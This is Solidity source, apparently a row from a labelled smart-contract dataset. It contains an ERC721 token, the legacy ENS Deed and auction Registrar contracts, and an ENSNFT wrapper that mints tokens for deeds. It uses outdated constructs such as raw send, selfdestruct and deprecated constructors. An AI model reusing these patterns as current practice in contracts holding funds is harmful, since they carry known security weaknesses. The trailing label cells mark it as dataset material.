require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping (address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Deed {
address constant burn = 0xdead;
address public registrar;
address public owner;
address public previousOwner;
uint public creationDate;
uint public value;
bool active;
event OwnerChanged(address newOwner);
event DeedClosed();
modifier onlyRegistrar {
require(msg.sender == registrar);
_;
}
modifier onlyActive {
require(active);
_;
}
function Deed(address _owner) public payable {
owner = _owner;
registrar = msg.sender;
creationDate = now;
active = true;
value = msg.value;
}
function setOwner(address newOwner) public onlyRegistrar {
require(newOwner != 0);
previousOwner = owner;
owner = newOwner;
OwnerChanged(newOwner);
}
function setRegistrar(address newRegistrar) public onlyRegistrar {
registrar = newRegistrar;
}
function setBalance(uint newValue, bool throwOnFailure) public onlyRegistrar onlyActive {
require(value >= newValue);
value = newValue;
require(owner.send(this.balance - newValue) || !throwOnFailure);
}
function closeDeed(uint refundRatio) public onlyRegistrar onlyActive {
active = false;
require(burn.send(((1000 - refundRatio) * this.balance)/1000));
DeedClosed();
destroyDeed();
}
function destroyDeed() public {
require(!active);
if (owner.send(this.balance)) {
selfdestruct(burn);
}
}
}
interface ENS {
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event Transfer(bytes32 indexed node, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public;
function setResolver(bytes32 node, address resolver) public;
function setOwner(bytes32 node, address owner) public;
function setTTL(bytes32 node, uint64 ttl) public;
function owner(bytes32 node) public view returns (address);
function resolver(bytes32 node) public view returns (address);
function ttl(bytes32 node) public view returns (uint64);
}
contract Registrar {
ENS public ens;
bytes32 public rootNode;
mapping (bytes32 => Entry) _entries;
mapping (address => mapping (bytes32 => Deed)) public sealedBids;
enum Mode { Open, Auction, Owned, Forbidden, Reveal, NotYetAvailable }
uint32 constant totalAuctionLength = 5 days;
uint32 constant revealPeriod = 48 hours;
uint32 public constant launchLength = 8 weeks;
uint constant minPrice = 0.01 ether;
uint public registryStarted;
event AuctionStarted(bytes32 indexed hash, uint registrationDate);
event NewBid(bytes32 indexed hash, address indexed bidder, uint deposit);
event BidRevealed(bytes32 indexed hash, address indexed owner, uint value, uint8 status);
event HashRegistered(bytes32 indexed hash, address indexed owner, uint value, uint registrationDate);
event HashReleased(bytes32 indexed hash, uint value);
event HashInvalidated(bytes32 indexed hash, string indexed name, uint value, uint registrationDate);
struct Entry {
Deed deed;
uint registrationDate;
uint value;
uint highestBid;
}
modifier inState(bytes32 _hash, Mode _state) {
require(state(_hash) == _state);
_;
}
modifier onlyOwner(bytes32 _hash) {
require(state(_hash) == Mode.Owned && msg.sender == _entries[_hash].deed.owner());
_;
}
modifier registryOpen() {
require(now >= registryStarted && now <= registryStarted + 4 years && ens.owner(rootNode) == address(this));
_;
}
function Registrar(ENS _ens, bytes32 _rootNode, uint _startDate) public {
ens = _ens;
rootNode = _rootNode;
registryStarted = _startDate > 0 ? _startDate : now;
}
function startAuction(bytes32 _hash) public registryOpen() {
Mode mode = state(_hash);
if (mode == Mode.Auction) return;
require(mode == Mode.Open);
Entry storage newAuction = _entries[_hash];
newAuction.registrationDate = now + totalAuctionLength;
newAuction.value = 0;
newAuction.highestBid = 0;
AuctionStarted(_hash, newAuction.registrationDate);
}
function startAuctions(bytes32[] _hashes) public {
for (uint i = 0; i < _hashes.length; i ++) {
startAuction(_hashes[i]);
}
}
function newBid(bytes32 sealedBid) public payable {
require(address(sealedBids[msg.sender][sealedBid]) == 0x0);
require(msg.value >= minPrice);
Deed newBid = (new Deed).value(msg.value)(msg.sender);
sealedBids[msg.sender][sealedBid] = newBid;
NewBid(sealedBid, msg.sender, msg.value);
}
function startAuctionsAndBid(bytes32[] hashes, bytes32 sealedBid) public payable {
startAuctions(hashes);
newBid(sealedBid);
}
function unsealBid(bytes32 _hash, uint _value, bytes32 _salt) public {
bytes32 seal = shaBid(_hash, msg.sender, _value, _salt);
Deed bid = sealedBids[msg.sender][seal];
require(address(bid) != 0);
sealedBids[msg.sender][seal] = Deed(0);
Entry storage h = _entries[_hash];
uint value = min(_value, bid.value());
bid.setBalance(value, true);
var auctionState = state(_hash);
if (auctionState == Mode.Owned) {
bid.closeDeed(5);
BidRevealed(_hash, msg.sender, value, 1);
} else if (auctionState != Mode.Reveal) {
revert();
} else if (value < minPrice || bid.creationDate() > h.registrationDate - revealPeriod) {
bid.closeDeed(995);
BidRevealed(_hash, msg.sender, value, 0);
} else if (value > h.highestBid) {
if (address(h.deed) != 0) {
Deed previousWinner = h.deed;
previousWinner.closeDeed(995);
}
h.value = h.highestBid;
h.highestBid = value;
h.deed = bid;
BidRevealed(_hash, msg.sender, value, 2);
} else if (value > h.value) {
h.value = value;
bid.closeDeed(995);
BidRevealed(_hash, msg.sender, value, 3);
} else {
bid.closeDeed(995);
BidRevealed(_hash, msg.sender, value, 4);
}
}
function cancelBid(address bidder, bytes32 seal) public {
Deed bid = sealedBids[bidder][seal];
require(address(bid) != 0 && now >= bid.creationDate() + totalAuctionLength + 2 weeks);
bid.setOwner(msg.sender);
bid.closeDeed(5);
sealedBids[bidder][seal] = Deed(0);
BidRevealed(seal, bidder, 0, 5);
}
function finalizeAuction(bytes32 _hash) public onlyOwner(_hash) {
Entry storage h = _entries[_hash];
h.value = max(h.value, minPrice);
h.deed.setBalance(h.value, true);
trySetSubnodeOwner(_hash, h.deed.owner());
HashRegistered(_hash, h.deed.owner(), h.value, h.registrationDate);
}
function transfer(bytes32 _hash, address newOwner) public onlyOwner(_hash) {
require(newOwner != 0);
Entry storage h = _entries[_hash];
h.deed.setOwner(newOwner);
trySetSubnodeOwner(_hash, newOwner);
}
function releaseDeed(bytes32 _hash) public onlyOwner(_hash) {
Entry storage h = _entries[_hash];
Deed deedContract = h.deed;
require(now >= h.registrationDate + 1 years || ens.owner(rootNode) != address(this));
h.value = 0;
h.highestBid = 0;
h.deed = Deed(0);
_tryEraseSingleNode(_hash);
deedContract.closeDeed(1000);
HashReleased(_hash, h.value);
}
function invalidateName(string unhashedName) public inState(keccak256(unhashedName), Mode.Owned) {
require(strlen(unhashedName) <= 6);
bytes32 hash = keccak256(unhashedName);
Entry storage h = _entries[hash];
_tryEraseSingleNode(hash);
if (address(h.deed) != 0) {
h.value = max(h.value, minPrice);
h.deed.setBalance(h.value/2, false);
h.deed.setOwner(msg.sender);
h.deed.closeDeed(1000);
}
HashInvalidated(hash, unhashedName, h.value, h.registrationDate);
h.value = 0;
h.highestBid = 0;
h.deed = Deed(0);
}
function eraseNode(bytes32[] labels) public {
require(labels.length != 0);
require(state(labels[labels.length - 1]) != Mode.Owned);
_eraseNodeHierarchy(labels.length - 1, labels, rootNode);
}
function transferRegistrars(bytes32 _hash) public onlyOwner(_hash) {
address registrar = ens.owner(rootNode);
require(registrar != address(this));
Entry storage h = _entries[_hash];
h.deed.setRegistrar(registrar);
Registrar(registrar).acceptRegistrarTransfer(_hash, h.deed, h.registrationDate);
h.deed = Deed(0);
h.registrationDate = 0;
h.value = 0;
h.highestBid = 0;
}
function acceptRegistrarTransfer(bytes32 hash, Deed deed, uint registrationDate) public {
hash; deed; registrationDate;
}
function state(bytes32 _hash) public view returns (Mode) {
Entry storage entry = _entries[_hash];
if (!isAllowed(_hash, now)) {
return Mode.NotYetAvailable;
} else if (now < entry.registrationDate) {
if (now < entry.registrationDate - revealPeriod) {
return Mode.Auction;
} else {
return Mode.Reveal;
}
} else {
if (entry.highestBid == 0) {
return Mode.Open;
} else {
return Mode.Owned;
}
}
}
function entries(bytes32 _hash) public view returns (Mode, address, uint, uint, uint) {
Entry storage h = _entries[_hash];
return (state(_hash), h.deed, h.registrationDate, h.value, h.highestBid);
}
function isAllowed(bytes32 _hash, uint _timestamp) public view returns (bool allowed) {
return _timestamp > getAllowedTime(_hash);
}
function getAllowedTime(bytes32 _hash) public view returns (uint) {
return registryStarted + ((launchLength * (uint(_hash) >> 128)) >> 128);
}
function shaBid(bytes32 hash, address owner, uint value, bytes32 salt) public pure returns (bytes32) {
return keccak256(hash, owner, value, salt);
}
function _tryEraseSingleNode(bytes32 label) internal {
if (ens.owner(rootNode) == address(this)) {
ens.setSubnodeOwner(rootNode, label, address(this));
bytes32 node = keccak256(rootNode, label);
ens.setResolver(node, 0);
ens.setOwner(node, 0);
}
}
function _eraseNodeHierarchy(uint idx, bytes32[] labels, bytes32 node) internal {
ens.setSubnodeOwner(node, labels[idx], address(this));
node = keccak256(node, labels[idx]);
if (idx > 0) {
_eraseNodeHierarchy(idx - 1, labels, node);
}
ens.setResolver(node, 0);
ens.setOwner(node, 0);
}
function trySetSubnodeOwner(bytes32 _hash, address _newOwner) internal {
if (ens.owner(rootNode) == address(this))
ens.setSubnodeOwner(rootNode, _hash, _newOwner);
}
function max(uint a, uint b) internal pure returns (uint) {
if (a > b)
return a;
else
return b;
}
function min(uint a, uint b) internal pure returns (uint) {
if (a < b)
return a;
else
return b;
}
function strlen(string s) internal pure returns (uint) {
s;
uint ptr;
uint end;
assembly {
ptr := add(s, 1)
end := add(mload(s), ptr)
}
for (uint len = 0; ptr < end; len++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if (b < 0xE0) {
ptr += 2;
} else if (b < 0xF0) {
ptr += 3;
} else if (b < 0xF8) {
ptr += 4;
} else if (b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
return len;
}
}
contract ENSNFT is ERC721Token {
Registrar registrar;
constructor (string _name, string _symbol, address _registrar) public
ERC721Token(_name, _symbol) {
registrar = Registrar(_registrar);
}
function mint(bytes32 _hash) public {
address deedAddress;
(, deedAddress, , , ) = registrar.entries(_hash);
Deed deed = Deed(deedAddress);
require(deed.owner() == address(this));
require(deed.previousOwner() == msg.sender);
uint256 tokenId = uint256(_hash);
_mint(deed.previousOwner(), tokenId);
}
function burn(uint256 tokenId) {
require(ownerOf(tokenId) == msg.sender);
_burn(msg.sender, tokenId);
registrar.transfer(bytes32(tokenId), msg.sender);
}
} | 1 | 5,034 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.